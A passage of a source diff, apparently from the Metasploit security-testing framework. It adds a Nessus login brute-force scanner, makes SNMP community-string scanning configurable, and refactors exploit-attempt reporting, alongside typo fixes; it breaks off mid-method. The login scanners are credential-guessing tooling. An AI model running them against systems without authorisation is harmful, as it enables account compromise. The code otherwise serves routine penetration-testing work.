rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||||
end
|
end
|
||||||
Result.new(result_opts)
|
Result.new(result_opts)
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
|
||||||
|
require 'metasploit/framework/login_scanner/http'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module LoginScanner
|
||||||
|
|
||||||
|
class Nessus < HTTP
|
||||||
|
|
||||||
|
DEFAULT_PORT = 8834
|
||||||
|
PRIVATE_TYPES = [ :password ]
|
||||||
|
LIKELY_SERVICE_NAMES = [ 'nessus' ]
|
||||||
|
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||||
|
|
||||||
|
|
||||||
|
# Checks if the target is a Tenable Nessus server.
|
||||||
|
#
|
||||||
|
# @return [Boolean] TrueClass if target is Nessus server, otherwise FalseClass
|
||||||
|
def check_setup
|
||||||
|
login_uri = "/server/properties"
|
||||||
|
res = send_request({'uri'=> login_uri})
|
||||||
|
if res && res.body.include?('Nessus')
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
# Actually doing the login. Called by #attempt_login
|
||||||
|
#
|
||||||
|
# @param username [String] The username to try
|
||||||
|
# @param password [String] The password to try
|
||||||
|
# @return [Hash]
|
||||||
|
# * :status [Metasploit::Model::Login::Status]
|
||||||
|
# * :proof [String] the HTTP response body
|
||||||
|
def get_login_state(username, password)
|
||||||
|
login_uri = "#{uri}"
|
||||||
|
|
||||||
|
res = send_request({
|
||||||
|
'uri' => login_uri,
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'username' => username,
|
||||||
|
'password' => password
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
|
||||||
|
end
|
||||||
|
if res.code == 200 && res.body =~ /token/
|
||||||
|
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body.to_s}
|
||||||
|
end
|
||||||
|
|
||||||
|
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Attempts to login to Nessus.
|
||||||
|
#
|
||||||
|
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||||
|
# @return [Result] A Result object indicating success or failure
|
||||||
|
def attempt_login(credential)
|
||||||
|
result_opts = {
|
||||||
|
credential: credential,
|
||||||
|
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||||
|
proof: nil,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
protocol: 'tcp'
|
||||||
|
}
|
||||||
|
|
||||||
|
begin
|
||||||
|
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||||
|
rescue ::Rex::ConnectionError => e
|
||||||
|
# Something went wrong during login. 'e' knows what's up.
|
||||||
|
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||||
|
end
|
||||||
|
|
||||||
|
Result.new(result_opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_sane_defaults
|
||||||
|
super
|
||||||
|
# nessus_rest_login has the same default in TARGETURI, but rspec doesn't check nessus_rest_login
|
||||||
|
# so we have to set the default here, too.
|
||||||
|
self.uri = '/session'
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -17,6 +17,40 @@ module Metasploit
|
||||||
PRIVATE_TYPES = [ :password ]
|
PRIVATE_TYPES = [ :password ]
|
||||||
REALM_KEY = nil
|
REALM_KEY = nil
|
||||||
|
|
||||||
|
# The number of retries per community string
|
||||||
|
# @return [Fixnum]
|
||||||
|
attr_accessor :retries
|
||||||
|
|
||||||
|
# The SNMP version to scan
|
||||||
|
# @return [String]
|
||||||
|
attr_accessor :version
|
||||||
|
|
||||||
|
validates :retries,
|
||||||
|
presence: true,
|
||||||
|
numericality: {
|
||||||
|
only_integer: true,
|
||||||
|
greater_than_or_equal_to: 0
|
||||||
|
}
|
||||||
|
|
||||||
|
validates :version,
|
||||||
|
presence: true,
|
||||||
|
inclusion: {
|
||||||
|
in: ['1', '2c', 'all']
|
||||||
|
}
|
||||||
|
|
||||||
|
# This method returns an array of versions to scan
|
||||||
|
# @return [Array] An array of versions
|
||||||
|
def versions
|
||||||
|
case version
|
||||||
|
when '1'
|
||||||
|
[:SNMPv1]
|
||||||
|
when '2c'
|
||||||
|
[:SNMPv2c]
|
||||||
|
when 'all'
|
||||||
|
[:SNMPv1, :SNMPv2c]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# This method attempts a single login with a single credential against the target
|
# This method attempts a single login with a single credential against the target
|
||||||
# @param credential [Credential] The credential object to attmpt to login with
|
# @param credential [Credential] The credential object to attmpt to login with
|
||||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||||
|
@ -29,14 +63,14 @@ module Metasploit
|
||||||
service_name: 'snmp'
|
service_name: 'snmp'
|
||||||
}
|
}
|
||||||
|
|
||||||
[:SNMPv1, :SNMPv2c].each do |version|
|
versions.each do |version|
|
||||||
snmp_client = ::SNMP::Manager.new(
|
snmp_client = ::SNMP::Manager.new(
|
||||||
:Host => host,
|
:Host => host,
|
||||||
:Port => port,
|
:Port => port,
|
||||||
:Community => credential.public,
|
:Community => credential.public,
|
||||||
:Version => version,
|
:Version => version,
|
||||||
:Timeout => connection_timeout,
|
:Timeout => connection_timeout,
|
||||||
:Retries => 2,
|
:Retries => retries,
|
||||||
:Transport => ::SNMP::RexUDPTransport,
|
:Transport => ::SNMP::RexUDPTransport,
|
||||||
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
|
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
|
||||||
)
|
)
|
||||||
|
|
|
@ -27,44 +27,9 @@ module Metasploit
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Sends a HTTP request with Rex
|
|
||||||
#
|
|
||||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
|
||||||
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
|
|
||||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
|
||||||
def send_request(opts)
|
|
||||||
res = nil
|
|
||||||
cli = Rex::Proto::Http::Client.new(host, port,
|
|
||||||
{
|
|
||||||
'Msf' => framework,
|
|
||||||
'MsfExploit' => framework_module
|
|
||||||
},
|
|
||||||
ssl,
|
|
||||||
ssl_version,
|
|
||||||
proxies
|
|
||||||
)
|
|
||||||
configure_http_client(cli)
|
|
||||||
begin
|
|
||||||
cli.connect
|
|
||||||
req = cli.request_cgi(opts)
|
|
||||||
res = cli.send_recv(req)
|
|
||||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
|
||||||
# We are trying to mimic the same type of exception rescuing in
|
|
||||||
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
|
|
||||||
# raise Rex::ConnectionError so the #attempt_login can return the error message back
|
|
||||||
# to the login module.
|
|
||||||
raise Rex::ConnectionError, e.message
|
|
||||||
ensure
|
|
||||||
cli.close
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Returns the latest sid from Symantec Web Gateway.
|
# Returns the latest sid from Symantec Web Gateway.
|
||||||
#
|
#
|
||||||
# @returns [String] The PHP Session ID for Symantec Web Gateway login
|
# @return [String] The PHP Session ID for Symantec Web Gateway login
|
||||||
def get_last_sid
|
def get_last_sid
|
||||||
@last_sid ||= lambda {
|
@last_sid ||= lambda {
|
||||||
# We don't have a session ID. Well, let's grab one right quick from the login page.
|
# We don't have a session ID. Well, let's grab one right quick from the login page.
|
||||||
|
@ -130,7 +95,14 @@ module Metasploit
|
||||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||||
# @return [Result] A Result object indicating success or failure
|
# @return [Result] A Result object indicating success or failure
|
||||||
def attempt_login(credential)
|
def attempt_login(credential)
|
||||||
result_opts = { credential: credential }
|
result_opts = {
|
||||||
|
credential: credential,
|
||||||
|
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||||
|
proof: nil,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
protocol: 'tcp'
|
||||||
|
}
|
||||||
|
|
||||||
begin
|
begin
|
||||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||||
|
|
|
@ -59,14 +59,15 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
|
# Tries to `require 'metasploit/credential'` and include `Metasploit::Credential::Creation` in the
|
||||||
|
# `including_module`.
|
||||||
#
|
#
|
||||||
# @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`.
|
# @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`.
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def self.optionally_include_metasploit_credential_creation(including_module)
|
def self.optionally_include_metasploit_credential_creation(including_module)
|
||||||
optionally(
|
optionally(
|
||||||
'metasploit/credential/creation',
|
'metasploit/credential',
|
||||||
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}",
|
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}"
|
||||||
) do
|
) do
|
||||||
including_module.send(:include, Metasploit::Credential::Creation)
|
including_module.send(:include, Metasploit::Credential::Creation)
|
||||||
end
|
end
|
||||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit
|
||||||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||||
|
|
||||||
if untested_payloads_pathname.exist?
|
if untested_payloads_pathname.exist?
|
||||||
tool_path = 'tools/missing-payload-tests.rb'
|
tool_path = 'tools/missing_payload_tests.rb'
|
||||||
|
|
||||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||||
|
|
|
@ -536,6 +536,7 @@ class ReadableText
|
||||||
]
|
]
|
||||||
|
|
||||||
columns << 'Via' if verbose
|
columns << 'Via' if verbose
|
||||||
|
columns << 'PayloadId' if verbose
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
'Indent' => indent,
|
'Indent' => indent,
|
||||||
|
@ -555,7 +556,11 @@ class ReadableText
|
||||||
if session.respond_to? :platform
|
if session.respond_to? :platform
|
||||||
row[1] += " " + session.platform
|
row[1] += " " + session.platform
|
||||||
end
|
end
|
||||||
row << session.via_exploit if verbose and session.via_exploit
|
|
||||||
|
if verbose
|
||||||
|
row << session.via_exploit.to_s
|
||||||
|
row << session.payload_uuid.to_s
|
||||||
|
end
|
||||||
|
|
||||||
tbl << row
|
tbl << row
|
||||||
}
|
}
|
||||||
|
@ -566,7 +571,7 @@ class ReadableText
|
||||||
# Dumps the list of running jobs.
|
# Dumps the list of running jobs.
|
||||||
#
|
#
|
||||||
# @param framework [Msf::Framework] the framework.
|
# @param framework [Msf::Framework] the framework.
|
||||||
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
|
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
|
||||||
# and start time, if they exist, for each job.
|
# and start time, if they exist, for each job.
|
||||||
# @param indent [Integer] the indentation amount.
|
# @param indent [Integer] the indentation amount.
|
||||||
# @param col [Integer] the column wrap width.
|
# @param col [Integer] the column wrap width.
|
||||||
|
|
|
@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
nhost = find_internet_connected_address
|
nhost = find_internet_connected_address
|
||||||
|
|
||||||
original_session_host = self.session_host
|
original_session_host = self.session_host
|
||||||
# If we found a better IP address for this session, change it up
|
# If we found a better IP address for this session, change it
|
||||||
# only handle cases where the DB is not connected here
|
# up. Only handle cases where the DB is not connected here
|
||||||
if !(framework.db && framework.db.active)
|
if nhost && !(framework.db && framework.db.active)
|
||||||
self.session_host = nhost
|
self.session_host = nhost
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -461,6 +461,8 @@ protected
|
||||||
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
|
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
|
||||||
# @return [String] The address from which this host reaches the
|
# @return [String] The address from which this host reaches the
|
||||||
# internet, as ASCII. e.g.: "192.168.100.156"
|
# internet, as ASCII. e.g.: "192.168.100.156"
|
||||||
|
# @return [nil] If there is an interface with an address that matches
|
||||||
|
# {#session_host}
|
||||||
def find_internet_connected_address
|
def find_internet_connected_address
|
||||||
|
|
||||||
ifaces = self.net.config.get_interfaces().flatten rescue []
|
ifaces = self.net.config.get_interfaces().flatten rescue []
|
||||||
|
@ -497,7 +499,9 @@ protected
|
||||||
end
|
end
|
||||||
|
|
||||||
if !nhost
|
if !nhost
|
||||||
# Find the first non-loopback address
|
# No internal address matches what we see externally and no
|
||||||
|
# interface has a default route. Fall back to the first
|
||||||
|
# non-loopback address
|
||||||
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
|
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
|
||||||
if non_loopback
|
if non_loopback
|
||||||
nhost = non_loopback.ip
|
nhost = non_loopback.ip
|
||||||
|
|
|
@ -76,11 +76,9 @@ require 'msf/http/jboss'
|
||||||
require 'msf/kerberos/client'
|
require 'msf/kerberos/client'
|
||||||
|
|
||||||
# Java RMI Support
|
# Java RMI Support
|
||||||
|
require 'msf/java/rmi/util'
|
||||||
require 'msf/java/rmi/client'
|
require 'msf/java/rmi/client'
|
||||||
|
|
||||||
# Java JMX Support
|
|
||||||
require 'msf/java/jmx'
|
|
||||||
|
|
||||||
# Drivers
|
# Drivers
|
||||||
require 'msf/core/exploit_driver'
|
require 'msf/core/exploit_driver'
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ module Msf
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# The auxiliary class acts as a base class for all modules that perform
|
# The auxiliary class acts as a base class for all modules that perform
|
||||||
# reconnaisance, retrieve data, brute force logins, or any other action
|
# reconnaissance, retrieve data, brute force logins, or any other action
|
||||||
# that doesn't fit our concept of an 'exploit' (involving payloads and
|
# that doesn't fit our concept of an 'exploit' (involving payloads and
|
||||||
# targets and whatnot).
|
# targets and whatnot).
|
||||||
#
|
#
|
||||||
|
|
|
@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
|
||||||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
|
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
|
||||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||||
#
|
#
|
||||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
# @param [Metasploit::Framework::CredentialCollection] cred_collection
|
||||||
# the credential collection to add to
|
# the credential collection to add to
|
||||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
# @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
|
||||||
def prepend_db_keys(cred_collection)
|
def prepend_db_keys(cred_collection)
|
||||||
if prepend_db_creds?
|
if prepend_db_creds?
|
||||||
each_ssh_cred do |cred|
|
each_ssh_cred do |cred|
|
||||||
|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
|
||||||
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
||||||
# selected datastore options.
|
# selected datastore options.
|
||||||
#
|
#
|
||||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
|
||||||
# @param [Metasploit::Credential::Core] the Credential Core to process
|
# @param [Metasploit::Credential::Core] cred the credential to process
|
||||||
def process_cred_for_collection(cred_collection, cred)
|
def process_cred_for_collection(cred_collection, cred)
|
||||||
msf_cred = cred.to_credential
|
msf_cred = cred.to_credential
|
||||||
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
|
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
|
||||||
|
@ -548,7 +548,7 @@ module Auxiliary::AuthBrute
|
||||||
end
|
end
|
||||||
|
|
||||||
# Provides a consistant way to display messages about AuthBrute-mixed modules.
|
# Provides a consistant way to display messages about AuthBrute-mixed modules.
|
||||||
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
|
# Acceptable opts are fairly self-explanatory, but :level can be tricky.
|
||||||
#
|
#
|
||||||
# It can be one of status, good, error, or line (and corresponds to the usual
|
# It can be one of status, good, error, or line (and corresponds to the usual
|
||||||
# print_status, print_good, etc. methods).
|
# print_status, print_good, etc. methods).
|
||||||
|
|
|
@ -243,7 +243,7 @@ module Auxiliary::Cisco
|
||||||
store_cred(cred)
|
store_cred(cred)
|
||||||
|
|
||||||
#
|
#
|
||||||
# Various authentication secretss
|
# Various authentication secrets
|
||||||
#
|
#
|
||||||
when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i
|
when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i
|
||||||
user = $1
|
user = $1
|
||||||
|
|
|
@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
|
||||||
end
|
end
|
||||||
|
|
||||||
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
|
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
|
||||||
# out to a file and returns the {rex::quickfile} object.
|
# out to a file and returns the {Rex::Quickfile} object.
|
||||||
#
|
#
|
||||||
# @return [nilClass] if there is no active framework db connection
|
# @return [nilClass] if there is no active framework db connection
|
||||||
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file
|
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file
|
||||||
|
|
|
@ -16,7 +16,7 @@ module Auxiliary::Login
|
||||||
EOL = CR + LF
|
EOL = CR + LF
|
||||||
|
|
||||||
#
|
#
|
||||||
# Creates an instance of a login negoation module.
|
# Creates an instance of a login negotiation module.
|
||||||
#
|
#
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
|
@ -113,13 +113,11 @@ module Auxiliary::Report
|
||||||
|
|
||||||
#
|
#
|
||||||
# Report a client connection
|
# Report a client connection
|
||||||
#
|
# @param opts [Hash] report client information based on user-agent
|
||||||
# opts must contain
|
# @option opts [String] :host the address of the client connecting
|
||||||
# :host the address of the client connecting
|
# @option opts [String] :ua_string a string that uniquely identifies this client
|
||||||
# :ua_string a string that uniquely identifies this client
|
# @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
|
||||||
# opts can contain
|
# @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
|
||||||
# :ua_name a brief identifier for the client, e.g. "Firefox"
|
|
||||||
# :ua_ver the version number of the client, e.g. "3.0.11"
|
|
||||||
#
|
#
|
||||||
def report_client(opts={})
|
def report_client(opts={})
|
||||||
return if not db
|
return if not db
|
||||||
|
@ -161,7 +159,7 @@ module Auxiliary::Report
|
||||||
# by a module. This method is deprecated and the new Metasploit::Credential methods
|
# by a module. This method is deprecated and the new Metasploit::Credential methods
|
||||||
# should be used directly instead.
|
# should be used directly instead.
|
||||||
#
|
#
|
||||||
# @param :opts [Hash] the option hash
|
# @param opts [Hash] the option hash
|
||||||
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
||||||
# @option opts [Fixnum] :port the port of the connected service
|
# @option opts [Fixnum] :port the port of the connected service
|
||||||
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
||||||
|
@ -427,7 +425,7 @@ module Auxiliary::Report
|
||||||
fname = ctype || "local_#{Time.now.utc.to_i}"
|
fname = ctype || "local_#{Time.now.utc.to_i}"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Split by path seperator
|
# Split by path separator
|
||||||
fname = ::File.split(fname).last
|
fname = ::File.split(fname).last
|
||||||
|
|
||||||
case ctype # Probably could use more cases
|
case ctype # Probably could use more cases
|
||||||
|
|
|
@ -85,7 +85,7 @@ class DataStore < Hash
|
||||||
def import_options_from_s(option_str, delim = nil)
|
def import_options_from_s(option_str, delim = nil)
|
||||||
hash = {}
|
hash = {}
|
||||||
|
|
||||||
# Figure out the deliminter, default to space.
|
# Figure out the delimeter, default to space.
|
||||||
if (delim.nil?)
|
if (delim.nil?)
|
||||||
delim = /\s/
|
delim = /\s/
|
||||||
|
|
||||||
|
@ -94,7 +94,7 @@ class DataStore < Hash
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Split on the deliminter
|
# Split on the delimeter
|
||||||
option_str.split(delim).each { |opt|
|
option_str.split(delim).each { |opt|
|
||||||
var, val = opt.split('=')
|
var, val = opt.split('=')
|
||||||
|
|
||||||
|
|
|
@ -23,6 +23,10 @@ require 'msf/core/service_state'
|
||||||
class Msf::DBManager
|
class Msf::DBManager
|
||||||
extend Metasploit::Framework::Require
|
extend Metasploit::Framework::Require
|
||||||
|
|
||||||
|
# Default proto for making new `Mdm::Service`s. This should probably be a
|
||||||
|
# const on `Mdm::Service`
|
||||||
|
DEFAULT_SERVICE_PROTO = "tcp"
|
||||||
|
|
||||||
autoload :Adapter, 'msf/core/db_manager/adapter'
|
autoload :Adapter, 'msf/core/db_manager/adapter'
|
||||||
autoload :Client, 'msf/core/db_manager/client'
|
autoload :Client, 'msf/core/db_manager/client'
|
||||||
autoload :Connection, 'msf/core/db_manager/connection'
|
autoload :Connection, 'msf/core/db_manager/connection'
|
||||||
|
@ -100,7 +104,7 @@ class Msf::DBManager
|
||||||
attr_accessor :usable
|
attr_accessor :usable
|
||||||
|
|
||||||
#
|
#
|
||||||
# iniitialize
|
# initialize
|
||||||
#
|
#
|
||||||
|
|
||||||
def initialize(framework, opts = {})
|
def initialize(framework, opts = {})
|
||||||
|
|
|
@ -95,7 +95,7 @@ module Msf::DBManager::Cred
|
||||||
ret = {}
|
ret = {}
|
||||||
|
|
||||||
# Check to see if the creds already exist. We look also for a downcased username with the
|
# Check to see if the creds already exist. We look also for a downcased username with the
|
||||||
# same password because we can fairly safely assume they are not in fact two seperate creds.
|
# same password because we can fairly safely assume they are not in fact two separate creds.
|
||||||
# this allows us to hedge against duplication of creds in the DB.
|
# this allows us to hedge against duplication of creds in the DB.
|
||||||
|
|
||||||
if duplicate_ok
|
if duplicate_ok
|
||||||
|
@ -177,4 +177,4 @@ module Msf::DBManager::Cred
|
||||||
|
|
||||||
alias :report_auth :report_auth_info
|
alias :report_auth :report_auth_info
|
||||||
alias :report_cred :report_auth_info
|
alias :report_cred :report_auth_info
|
||||||
end
|
end
|
||||||
|
|
|
@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
|
||||||
|
# the `vuln` option is passed).
|
||||||
|
#
|
||||||
|
# @option (see #do_report_failure_or_success)
|
||||||
|
# @return (see #do_report_failure_or_success)
|
||||||
def report_exploit_failure(opts)
|
def report_exploit_failure(opts)
|
||||||
|
return unless opts.has_key?(:refs) && !opts[:refs].blank?
|
||||||
|
host = opts[:host] || return
|
||||||
|
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
wspace = opts[:workspace] || workspace
|
||||||
wspace = opts.delete(:workspace) || workspace
|
port = opts[:port]
|
||||||
mrefs = opts.delete(:refs) || return
|
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||||
host = opts.delete(:host)
|
svc = opts[:service]
|
||||||
port = opts.delete(:port)
|
|
||||||
prot = opts.delete(:proto)
|
|
||||||
svc = opts.delete(:service)
|
|
||||||
vuln = opts.delete(:vuln)
|
|
||||||
|
|
||||||
timestamp = opts.delete(:timestamp)
|
|
||||||
freason = opts.delete(:fail_reason)
|
|
||||||
fdetail = opts.delete(:fail_detail)
|
|
||||||
username = opts.delete(:username)
|
|
||||||
mname = opts.delete(:module)
|
|
||||||
|
|
||||||
# Look up the host as appropriate
|
|
||||||
if not (host and host.kind_of? ::Mdm::Host)
|
|
||||||
if svc.kind_of? ::Mdm::Service
|
|
||||||
host = svc.host
|
|
||||||
else
|
|
||||||
host = get_host( :workspace => wspace, :address => host )
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Bail if we dont have a host object
|
|
||||||
return if not host
|
|
||||||
|
|
||||||
# Look up the service as appropriate
|
# Look up the service as appropriate
|
||||||
if port and svc.nil?
|
if port and svc.nil?
|
||||||
prot ||= "tcp"
|
svc = get_service(wspace, host, prot, port)
|
||||||
svc = get_service(wspace, host, prot, port) if port
|
|
||||||
end
|
end
|
||||||
|
|
||||||
if not vuln
|
# Look up the host as appropriate
|
||||||
# Create a references map from the module list
|
if !host || !host.kind_of?(::Mdm::Host)
|
||||||
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
|
|
||||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
|
||||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
|
||||||
else
|
|
||||||
ref.to_s
|
|
||||||
end
|
|
||||||
})
|
|
||||||
|
|
||||||
# Try find a matching vulnerability
|
|
||||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Report a vuln_attempt if we found a match
|
|
||||||
if vuln
|
|
||||||
attempt_info = {
|
|
||||||
:attempted_at => timestamp || Time.now.utc,
|
|
||||||
:exploited => false,
|
|
||||||
:fail_reason => freason,
|
|
||||||
:fail_detail => fdetail,
|
|
||||||
:username => username || "unknown",
|
|
||||||
:module => mname
|
|
||||||
}
|
|
||||||
|
|
||||||
vuln.vuln_attempts.create(attempt_info)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Report an exploit attempt all the same
|
|
||||||
attempt_info = {
|
|
||||||
:attempted_at => timestamp || Time.now.utc,
|
|
||||||
:exploited => false,
|
|
||||||
:username => username || "unknown",
|
|
||||||
:module => mname,
|
|
||||||
:fail_reason => freason,
|
|
||||||
:fail_detail => fdetail
|
|
||||||
}
|
|
||||||
|
|
||||||
attempt_info[:vuln_id] = vuln.id if vuln
|
|
||||||
|
|
||||||
if svc
|
|
||||||
attempt_info[:port] = svc.port
|
|
||||||
attempt_info[:proto] = svc.proto
|
|
||||||
end
|
|
||||||
|
|
||||||
if port and svc.nil?
|
|
||||||
attempt_info[:port] = port
|
|
||||||
attempt_info[:proto] = prot || "tcp"
|
|
||||||
end
|
|
||||||
|
|
||||||
host.exploit_attempts.create(attempt_info)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
def report_exploit_success(opts)
|
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
|
||||||
|
|
||||||
wspace = opts.delete(:workspace) || workspace
|
|
||||||
mrefs = opts.delete(:refs) || return
|
|
||||||
host = opts.delete(:host)
|
|
||||||
port = opts.delete(:port)
|
|
||||||
prot = opts.delete(:proto)
|
|
||||||
svc = opts.delete(:service)
|
|
||||||
vuln = opts.delete(:vuln)
|
|
||||||
|
|
||||||
timestamp = opts.delete(:timestamp)
|
|
||||||
username = opts.delete(:username)
|
|
||||||
mname = opts.delete(:module)
|
|
||||||
|
|
||||||
# Look up or generate the host as appropriate
|
|
||||||
if not (host and host.kind_of? ::Mdm::Host)
|
|
||||||
if svc.kind_of? ::Mdm::Service
|
if svc.kind_of? ::Mdm::Service
|
||||||
host = svc.host
|
host = svc.host
|
||||||
else
|
else
|
||||||
host = report_host(:workspace => wspace, :address => host )
|
host = get_host(workspace: wspace, address: host)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Bail if we dont have a host object
|
# Bail if we dont have a host object
|
||||||
return if not host
|
return if not host
|
||||||
|
|
||||||
|
opts = opts.dup
|
||||||
|
opts[:service] = svc
|
||||||
|
opts[:host] = host
|
||||||
|
|
||||||
|
do_report_failure_or_success(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
|
||||||
|
# the `vuln` option is passed).
|
||||||
|
#
|
||||||
|
# @return (see #do_report_failure_or_success)
|
||||||
|
def report_exploit_success(opts)
|
||||||
|
return unless opts[:refs]
|
||||||
|
host = opts[:host] || return
|
||||||
|
|
||||||
|
